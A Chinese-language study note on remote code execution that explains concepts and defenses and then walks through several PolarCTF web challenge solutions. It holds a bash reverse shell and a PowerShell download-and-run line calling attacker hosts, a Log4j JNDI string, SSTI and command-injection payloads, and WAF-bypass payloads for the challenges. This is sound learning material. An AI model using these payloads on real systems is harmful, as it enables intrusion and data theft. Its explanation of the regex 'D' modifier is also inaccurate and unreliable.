RCE(远程代码执行)
RCE(Remote Code Execution,远程代码执行)是一种高危安全漏洞,允许攻击者通过网络在目标系统上执行任意代码,从而完全控制服务器或应用程序。它是渗透测试和漏洞利用中最危险的攻击方式之一。
1. RCE 的核心概念
- 远程:攻击者通过网络(如HTTP请求、API调用等)触发漏洞,无需物理接触目标。
- 代码执行:可在目标系统运行操作系统命令、植入恶意软件、窃取数据等。
- 危害等级:通常为 严重(Critical),可导致服务器沦陷、数据泄露、内网渗透。
2. 常见触发场景
(1) Web 应用漏洞
输入注入:
bash# 示例:通过参数注入命令(如PHP的system函数) http://example.com/exec.php?cmd=whoami
反序列化漏洞:不当处理序列化数据导致代码执行(如Java的Apache Commons Collections)。
模板注入(SSTI):Jinja2、Twig等模板引擎未过滤用户输入。
python# Flask SSTI 示例 {{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
(2) 服务端软件漏洞
中间件漏洞:如Apache Struts2、Log4j(CVE-2021-44228)。
bash# Log4j RCE 示例 ${jndi:ldap://attacker.com/exploit}
数据库漏洞:如MySQL的
into outfile
写Shell、PostgreSQL的COPY命令。
(3) 系统服务漏洞
- 缓冲区溢出:如EternalBlue(MS17-010)攻击Windows SMB服务。
- 默认凭据:通过SSH、RDP等执行命令。
3. 攻击流程示例
以Web应用为例:
发现注入点:找到未过滤的用户输入(如URL参数、表单字段)。
测试命令执行:
bashhttp://victim.com/api?input=;id
获取交互式Shell:
bash# 反弹Shell(Linux) bash -i >& /dev/tcp/attacker-ip/4444 0>&1 # PowerShell(Windows) IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')
提权与横向移动:利用系统漏洞扩大控制范围。
4. 检测与防御
检测方法
- 黑盒测试:
- 工具:Burp Suite、Metasploit、Nmap脚本(如
http-vuln-cve2017-5638
)。 - 手动测试:输入特殊字符(
; & |
$()
)观察响应。
- 工具:Burp Suite、Metasploit、Nmap脚本(如
- 白盒审计:
- 检查代码中危险函数(如
eval()
、system()
、Runtime.exec()
)。
- 检查代码中危险函数(如
防御措施
- 输入过滤:
- 使用白名单验证用户输入。
- 转义特殊字符(如
< > & ;
)。
- 最小权限:
- 应用程序以低权限用户运行。
- 禁用不必要的系统命令调用。
- 安全配置:
- 关闭危险函数(如PHP的
disable_functions=system,passthru
)。 - 定期更新中间件和库(如修复Log4j)。
- 关闭危险函数(如PHP的
5. 经典案例
- Log4j (CVE-2021-44228)
- 通过日志记录中的JNDI注入触发RCE。
- Apache Struts2 (S2-045)
- 恶意Content-Type头导致OGNL表达式执行。
- EternalBlue
- 利用SMB协议漏洞攻击Windows系统。
6. 工具推荐
工具 | 用途 |
---|---|
Metasploit | 自动化漏洞利用(含RCE模块) |
Burp Suite | 手动测试Web应用RCE |
SQLmap | 数据库相关RCE(如--os-shell ) |
Nmap | 扫描网络服务漏洞 |
7.总结
- RCE本质:通过漏洞在目标系统执行任意命令。
- 关键点:输入验证不严 + 危险函数调用。
- 防御核心:过滤输入、最小权限、及时补丁。
在渗透测试中,RCE通常是获取系统权限的“终极武器”,需谨慎合法使用!
8.执行函数
# 常用命令执行器函数
system()
passthru()
exec()
shell_exec()
popen()/proc_open()
9.题目复现
题目:[简单rce]
- 题目来源:Polarctf-web-[简单rce]
- 解题:
代码审计
<?php
/*
PolarD&N CTF
*/
highlight_file(__FILE__);
function no($txt){ # WAF:检测$txt是否匹配这些命令,如果不匹配则返回$txt(即执行)
if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){
return $txt;}
else{
die("what's up");}}
$yyds=($_POST['yyds']);
if(isset($_GET['sys'])&&$yyds=='666'){ # 要求get传参sys,post传参yyds=666,满足则执行no($_GET['sys']
eval(no($_GET['sys']));
}
else
{echo "nonono";
}
?> nonono
分析结果:post传参yyds=666
,get传参sys,如果传递的sys绕过了WAF
,则执行sys命令,可利用sys传参实现任意代码执行
由于未过滤执行函数passthru()
,故可以利用该函数实现任意代码执行
(1)sys=passthru('ls');
查看当前路径下有什么文件,仅有一个index.php文件
(2)sys=passthru('sort%09index.php');
sort
:Linux 系统命令,用于对文件内容排序并输出内容。%09
:URL 编码的 水平制表符(\t
),在 Shell 中相当于空格。
查看index.php文件,该文件即为初始显示的前端页面,无利用点
(3)sys=passthru('ls%09/');
查看顶级目录(根目录)下有什么文件
看到存在可疑文件flag
(4)sys=passthru('sort%09/flag');
排序并输出flag文件
(5)也可以使用sys=passthru('vi%09/flag');
题目:[rce1]
- 题目来源:Polarctf-web-[rce1]
- 解题:
代码审计
这段代码实现了一个简单的 Ping 测试工具,用户可以通过表单提交一个 IP 地址,服务器会执行 ping 命令并返回结果。
- 命令注入漏洞 (高危)
漏洞位置:
$cmd = "ping -c 4 {$ip}";
和exec($cmd, $res);
问题描述: 代码仅过滤了空格字符,攻击者可以使用以下方式绕过:
- 使用制表符
%09
代替空格 - 使用
${IFS}
(Bash 内部字段分隔符)代替空格(本题使用这个) - 使用重定向符号
<
或>
不需要空格 - 使用
;
、&&
、||
等命令连接符
- 使用制表符
攻击示例:
127.0.0.1;cat${IFS}/etc/passwd 127.0.0.1%0als${IFS}-l
- 输入验证不足 (中危)
- 问题描述: 仅检查了是否包含空格,没有进行有效的 IP 地址格式验证
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) { # 检测ip是否含有空格,如果不含有则进入里层,m用于存储匹配的数组
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res); # 执行cmd命令,res用于存储命令的每一行输出
} else {
$res = $m;
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>ping</title>
</head>
<body>
<style>
html{
height:100%;
}
body{
padding: 0;
margin: 0;
background: url(1.png);
background-size: 100% 100%;
position: absolute;
}
</style>
<h1>就过滤了个空格,能拿到flag算我输</h1>
<form action="#" method="GET">
<label for="ip">IP : </label><br>
<input type="text" id="ip" name="ip">
<input type="submit" value="Ping">
</form>
<hr>
<pre>
<?php
if ($res) {
print_r($res);
}
?>
</pre>
<?php
show_source(__FILE__);
?>
</body>
</html>
用分号闭合ping命令,输入ls
,点击"Ping"查看当前目录文件
使用命令查看可疑文件,由于过滤了空格,此处使用${IFS}进行绕过:;cat${IFS}fllllaaag.php
点击"Ping"
成功回显,查看源码获得flag
题目:[某函数的复仇]
- 题目来源:polarctf-web-[某函数的复仇]
- 解题:
代码审计:
<?php
highlight_file(__FILE__);
//flag:/flag
if(isset($_POST['shaw'])){
$shaw = $_POST['shaw'];
$root = $_GET['root'];
if(preg_match('/^[a-z_]*$/isD',$shaw)){
if(!preg_match('/rm|ch|nc|net|ex|\-|de|cat|tac|strings|h|wget|\?|cp|mv|\||so|\$/i',$root)){
$shaw('',$root);
}else{
echo "Almost there^^";
}
}
}
?>
正则表达式 /^[a-z_]*$/isD 讲解
^:这是一个锚点,表示匹配字符串的开始。它确保了正则表达式从字符串的最开始位置开始匹配。
[a-z_]:这是一个字符集,它匹配小写字母(a-z)和下划线(_)。在这个字符集内,任何一个字符都会被认为是有效的匹配字符。
*:这是量词,表示匹配前面的字符集零次或多次。也就是说,这个正则表达式会匹配由小写字母和下划线组成的字符串,长度可以为零(空字符串也可以匹配)。
$:这是另一个锚点,表示匹配字符串的结束。它确保了正则表达式从字符串的最末尾结束匹配。
i(修饰符):这是一个正则表达式的标志,表示忽略大小写。在这个表达式中,a-z 会匹配所有字母,无论是大写还是小写。因此,[a-z_] 会匹配字母(大小写都可以)和下划线。
s(修饰符):这个修饰符表示“dotall”模式,在这个模式下,.(点号)可以匹配换行符。虽然这个正则表达式本身并没有使用.,但如果它用于更复杂的表达式中,s标志会让dot匹配所有字符,包括换行符。
D(修饰符):这是“Unicode修饰符”的一个变种。它限制了正则表达式的匹配字符只能是单字节的字符,在一些特定的环境中,D可能会影响匹配行为,但它在普通正则表达式中并不常见。
使用动态创建匿名函数的函数create_function
解题payload:
create_function
漏洞详细解析
当create_function('', $root)
执行时,它在PHP内部实际上是这样工作的:
PHP会动态创建一个匿名函数,大致如下:
phpfunction anonymous() { 这里是$root的内容 }
当我们传入
$root = }system(%22s\ort%20/flag%22);/*
时,PHP实际生成的代码就变成了:phpfunction anonymous() { }system("s\ort /flag");/* }
注意看第一个
}
,它提前闭合了函数定义的大括号,使后面的代码跳出了函数体的范围接着
system("s\ort /flag")
会作为独立的PHP代码执行,而不是函数体内的代码最后
/*
是多行注释的开始,它注释掉了后面所有内容(包括函数定义末尾多余的}
),防止PHP解析出语法错误
题目:[干正则]
- 题目来源:polarctf-web-[干正则]
- 解题:
代码审计
<?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include 'flag.php';
$a = "www.baidu.com";
$result = "";
$id = $_GET['id'];
@parse_str($id);
echo $a[0];
if ($a[0] == 'www.polarctf.com') {
$ip = $_GET['cmd'];
if (preg_match('/flag\.php/', $ip)) {
die("don't show flag!!!");
}
$result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
# 假设a[0]=www.baidu.com,ip=127.0.0.1,则'ping -c 2 ' . $a[0] . $ip结果为
# ping -c 2 www.baidu.com 127.0.0.1
if ($result) {
echo "<pre>{$result}</pre>";
}
} else {
exit('其实很简单!');
}
}
payload
?id=a[0]=www.polarctf.com&cmd=|tac f*
讲解
?id=a[0]=www.polarctf.com
"@parse_str($id);" 解析为$a = array(0 => "www.polarctf.com")
覆盖掉字符串$a = "www.baidu.com",即将原来的a[0]=w改为了a[0]=www.polarctf.com
绕过if ($a[0] == 'www.polarctf.com')
cmd=|
|管道符用于闭合"ping -c 2 ' . $a[0]",也可以用";"闭合
tac f*
执行的命令,获取flag.php
题目:[cool]
- 题目来源:polarctf-web-[cool]
- 解题:
<?php
if(isset($_GET['a'])){
$a = $_GET['a'];
if(is_numeric($a)){ # a不能是数字
echo "no";
}
if(!preg_match("/flag|system|php/i", $a)){ # 简单WAF过滤
eval($a); # eval用于执行字符串中的PHP代码
}
}else{
highlight_file(__FILE__);
}
?>
构造payload,绕过system
及flag
过滤
?a=passthru("cat f*");
题目:[覆盖]
- 题目来源:polarctf-web-[覆盖]
- 解题:
<?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include 'flag.php';
$a = "www.baidu.com";
$result = "";
$id = $_GET['id'];
@parse_str($id);
echo $a[0];
if ($a[0] == 'www.polarctf.com') { # 需要利用parse_str覆盖原来的a
$ip = $_GET['cmd'];
$result .= shell_exec('ping -c 2 ' . $a[0] . $ip); # 闭合ping命令并rce
if ($result) {
echo "<pre>{$result}</pre>";
}
} else {
exit('其实很简单!');
}
}
parse_str()
变量覆盖,payload:
?id=a[0]=www.polarctf.com&cmd=|tac f*